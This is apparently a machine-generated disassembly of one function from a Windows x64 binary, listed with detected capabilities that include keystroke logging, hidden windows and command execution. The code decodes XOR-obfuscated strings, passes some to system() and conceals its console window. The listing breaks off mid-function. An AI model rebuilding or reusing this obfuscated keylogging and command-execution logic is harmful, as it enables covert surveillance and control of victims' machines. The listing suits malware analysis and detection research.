Function at 0x140020690
Capabilities:
Create thread
Execute command
Hide graphical window
Link many functions at runtime
Log keystrokes via polling
Query service status
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1df0
call fcn.1400c90e0
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140102060]
xor rax, rsp
mov qword [rbp + 0x1d80], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x14001ebf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x14001d5b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x14001ec40]
lea rcx, [rbp + 0x40]
call fcn.140025d00
nop
lea rcx, [rbp + 0x40]
call fcn.140010d10
nop
cmp dword [rbp + 0x48], ebx
je 0x140020743
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rax, 0x3c7bc09fc8021f2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x100], rcx
movabs r12, 0xbbce7174f8f2da6a
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x108], rcx
movabs r13, 0x3c7bc09fc802185
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1780], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1788], rax
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x1780]
movdqa xmmword [rbp + 0x100], xmm0
movabs rax, 0x3e3e85cb3ce6ec6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1790], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1798], rax
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x1790]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x110]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rax, 0x3c7bc09fcf40af7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x120], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x128], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x17a0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17a8], rax
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x17a0]
movdqa xmmword [rbp + 0x120], xmm0
movabs rax, 0x3c7986795ee4ee6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x17b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17b8], rax
movdqa xmm0, xmmword [rbp + 0x130]
pxor xmm0, xmmword [rbp + 0x17b0]
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rdi, 0x3c7bc09fcf40af2
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x140], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x148], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x17c0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17c8], rax
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x17c0]
movdqa xmmword [rbp + 0x140], xmm0
movabs rbx, 0x3e3c87c93ee4ee6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x17d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17d8], rax
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x17d0]
movdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x150]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x160], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x168], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x17e0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17e8], rax
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x17e0]
movdqa xmmword [rbp + 0x160], xmm0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1760], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1768], rax
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x1760]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov r9d, 2
mov r8b, 0xc3
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movabs rax, 0x4d88ff29b9c46ec8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x8efb4c27b4bd994a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x5111cdceccc7f617
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs rax, 0x77f49f669e90d2e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1b60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b68], rax
movabs rdi, 0x602c9e8b828eba37
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b70], rax
movabs rbx, 0x77f49f669e90d2d4
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b78], rax
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b60]
vmovdqa ymmword [rbp + 0x340], ymm1
lea rcx, [rbp + 0x340]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1058]
call fcn.140009b20
lea rcx, [rbp + 0x1058]
call fcn.140006c90
nop
movabs rax, 0x6693f27b93ec40d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xbbce7174f8f2ae12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x17f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17f8], rax
movdqa xmm0, xmmword [rbp + 0x180]
pxor xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1018]
call fcn.1400066e0
nop
movabs rax, 0x54abce708ad775b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xbbce7174f8f2ab27
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1800], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1808], rax
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xfb8]
call fcn.1400066e0
nop
movabs rax, 0x30fed83cc8b516b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0x82f74242cfc1ea0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0x114a6efb0bed900
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
movabs rax, 0x14c2ae04aff4e1e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
movabs rax, 0xbe5653f1d3a8316a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0xd22c0bb5c577314b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0xf9f865c352e0dca3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0x4af17f27b5af355a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rcx, 0xa6688451f0b4d12d
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rdx, 0x59ff6c5cbd312bf2
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x19e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x19e8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x19f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x19f8], rax
movabs rax, 0xdb626ac5b5c95309
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a00], rax
movabs rax, 0xe11a39d0f213072e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a08], rax
movabs rax, 0xcfce03f760d5ec9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a10], rax
movabs rax, 0x7cc04b4283975168
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a18], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1a20], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1a28], rax
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x19e0]
vmovdqa ymmword [rbp + 0x520], ymm1
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a00]
vmovdqa ymmword [rbp + 0x540], ymm1
vmovdqa xmm0, xmmword [rbp + 0x560]
vpxor xmm0, xmm0, xmmword [rbp + 0x1a20]
vmovdqa xmmword [rbp + 0x560], xmm0
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0xf78]
vzeroupper
call fcn.1400066e0
nop
movabs rax, 0x2ce8867a8cf455ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x95a60501998bbf01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x4f45eeeaade0d340
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x77f49f66b1a1fce5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1b40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b48], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b50], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b58], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b40]
vmovdqa ymmword [rbp + 0x360], ymm1
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xf58]
vzeroupper
call fcn.1400066e0
nop
movabs rax, 0x23a9d579dcec52f6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xcfbe1e5cd88bbf01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x602cb7e7e3e0d55e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1ce0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1ce8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1cf0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1cf8], rax
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ce0]
vmovdqa ymmword [rbp + 0x380], ymm1
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1038]
vzeroupper
call fcn.1400066e0
nop
lea rax, [rbp + 0x948]
mov qword [rbp], rax
lea rdx, [rbp + 0x1038]
lea rcx, [rbp + 0x948]
call fcn.14000dda0
mov r15, rax
lea rax, [rbp + 0x8e8]
mov qword [rbp + 0x6a0], rax
lea rdx, [rbp + 0xf58]
lea rcx, [rbp + 0x8e8]
call fcn.14000dda0
mov r14, rax
lea rax, [rbp + 0x8c8]
mov qword [rbp + 0x500], rax
lea rdx, [0x14010b1f0]
lea rcx, [rbp + 0x8c8]
call fcn.14000dda0
mov rsi, rax
lea rax, [rbp + 0xa28]
mov qword [rbp + 0x510], rax
lea rdx, [rbp + 0xf78]
lea rcx, [rbp + 0xa28]
call fcn.14000dda0
mov rdi, rax
lea rax, [rbp + 0xa48]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0xfb8]
lea rcx, [rbp + 0xa48]
call fcn.14000dda0
mov rbx, rax
lea rdx, [rbp + 0x1018]
lea rcx, [rbp + 0xa68]
call fcn.14000dda0
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.14001add0
nop
lea rcx, [rbp + 0x1410]
call fcn.14006abc0
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x77e9c56c97dc1bc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xbbce7174f8f2ae12
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1810], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1818], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
pxor xmm0, xmmword [rbp + 0x1810]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1078]
call fcn.1400066e0
nop
lea rcx, [rbp + 0xf38]
call fcn.140009b20
lea rcx, [rbp + 0xf38]
call fcn.140006c90
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x1300]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x1078]
lea rcx, [rbp + 0x1300]
call fcn.140024770
nop
xor r14d, r14d
mov qword [rbp + 0x20], r14
mov word [rbp + 0x28], 1
mov rax, qword [rbp + 0x1300]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x1348]
mov qword [rbp + 0x30], rax
test rax, rax
sete byte [rbp + 0x38]
mov byte [rbp + 0x39], r14b
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x510], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x500], xmm1
lea r9, [rbp + 0x10]
lea r8, [rbp + 0x510]
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x1098]
call fcn.1400253c0
nop
xor r8d, r8d
lea rdx, [rbp + 0x1098]
lea rcx, [0x140109c90]
call fcn.14000df40
lea rcx, [rbp + 0x1300]
call fcn.14000d990
lea rdx, [0x140109c90]
lea rcx, [rbp + 0x928]
call fcn.14000dda0
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.14006bac0
movabs rdi, 0xd62d0fe4c7233f16
movabs rsi, 0x8bf665d855e1d5ab
movabs rcx, 0x193a6633b9b1bd5f
movabs r8, 0x95aa031b9b81b30e
movabs r9, 0x4f45eeeaade3d554
movabs r10, 0x49ff009f6f2b7a3
movabs r11, 0xe3525df08df86226
movabs rdx, 0xbf57f32eeff3cd7c
lea rbx, [r14 - 1]
movabs r15, 0x1b94391dd7ed343f
cmp byte [rbp + 0x1650], r14b
je 0x140021882
lea rax, [rbp + 0x9c8]
mov qword [rbp + 0x20], rax
movabs rax, 0x2ce8867a8cf455ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xf122e30e95df8715
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x6aba2b15f1014384
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x7f59514addd4e226
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x8a14c0549681b43d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x7ba60debb2ce51f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x4036b8d0bd5660ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x9b5eb6d390c61835
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xb9f53e0aa0ea56fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1b80], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b88], rax
movabs rsi, 0x602c9e8b828eba37
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b90], rax
movabs r15, 0x77f49f669e90d2d4
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1b98], rax
movabs rax, 0xdb626ac5b5c95309
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ba0], rax
movabs rax, 0xe11a39d0f213072e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ba8], rax
movabs rax, 0xcfce03f760d5ec9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bb0], rax
movabs rax, 0x7cc04b4283975168
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bb8], rax
movabs rax, 0xa6688451f0b4d12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bc0], rax
movabs rax, 0x59ff6c5cbd312bf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bc8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1bd0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1bd8], rax
movabs rax, 0x48c905adfe6ea971
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1be0], rax
movabs rax, 0x287d8d98ed0f0fd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1be8], rax
movabs rax, 0xee3bf3bfe28b4703
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bf0], rax
movabs rax, 0xb9f53e0aa0ea5690
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1bf8], rax
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b80]
vmovdqa ymmword [rbp + 0x480], ymm1
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ba0]
vmovdqa ymmword [rbp + 0x4a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1bc0]
vmovdqa ymmword [rbp + 0x4c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x4e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1be0]
vmovdqa ymmword [rbp + 0x4e0], ymm1
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x9c8]
vzeroupper
call fcn.1400066e0
mov rdi, rax
movabs rax, 0x66b4d26c9fe96da5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x60], rcx
movabs rax, 0xbbce514e8197914a
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x68], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1820], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1828], rax
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0x1820]
movdqa xmmword [rbp + 0x60], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x710]
call fcn.140010d60
nop
movabs rax, 0x3c7bc299ce041a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1850], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1858], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
pxor xmm0, xmmword [rbp + 0x1850]
movdqa xmmword [rbp + 0x1b0], xmm0
lea r8, [0x14010b1f0]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x888]
call fcn.140024dd0
nop
lea r8d, [r14 + 1]
lea rdx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rax
call fcn.14000dec0
mov rdx, rax
lea rcx, [rbp + 0x830]
call fcn.14000dd70
nop
lea r9, [rbp + 0x710]
lea r8, [rbp + 0x830]
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x6f0]
call fcn.140025830
nop
lea rax, [rbp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400217b2
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x6f0]
call fcn.14000dec0
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.14000dd70
nop
lea r8, [0x140109c90]
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0xa08]
call fcn.140025360
nop
mov r8d, 3
lea rdx, [0x1400eb45c]
mov rcx, rax
call fcn.14000dec0
mov rdx, rax
lea rcx, [rbp + 0x850]
call fcn.14000dd70
nop
mov rdx, rdi
lea rcx, [rbp + 0x850]
call fcn.14001bd50
nop
lea rcx, [rbp + 0xa08]
call fcn.140006680
nop
lea rcx, [rbp + 0x6d0]
call fcn.140006680
nop
lea rcx, [rbp + 0x6f0]
call fcn.140006680
nop
lea rcx, [rbp + 0x830]
call fcn.140006680
nop
lea rcx, [rbp + 0x888]
call fcn.140006680
nop
lea rcx, [rbp + 0x710]
call fcn.140006680
mov byte [0x14010b090], 1
jmp 0x140021896
movabs rsi, 0x602c9e8b828eba37
movabs r15, 0x77f49f669e90d2d4
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x14010b090], 0
jne 0x1400221f3
movabs rax, 0x4d88ff29b9c46ec8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0x8efb4c27b4bd994a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x5111cdceccc7f617
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0x77f49f669e90d2e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1b20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1b38], rax
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b20]
vmovdqa ymmword [rbp + 0x2c0], ymm1
lea rcx, [rbp + 0x2c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14001ab30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x6f979c54c3db018f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x660], rcx
movabs rax, 0xcfa014549d81bb0f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x668], rcx
movabs rax, 0x405eebe4fbaec852
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x670], rcx
movabs rax, 0x5691ec08fbf3bbb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rcx, 0xdb626ac5b5c95309
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rdi, 0xe11a39d0f213072e
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1920], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1928], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1930], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1938], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1940], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1948], rax
vmovdqu ymm0, ymmword [rbp + 0x660]
vpxor ymm1, ymm0, ymmword [rbp + 0x1920]
vmovdqa ymmword [rbp + 0x660], ymm1
vmovdqa xmm0, xmmword [rbp + 0x680]
vpxor xmm0, xmm0, xmmword [rbp + 0x1940]
vmovdqa xmmword [rbp + 0x680], xmm0
lea rdx, [rbp + 0x660]
mov rcx, r8
vzeroupper
call fcn.14000b3e0
lea rdx, [0x14000b5d0]
mov rcx, rax
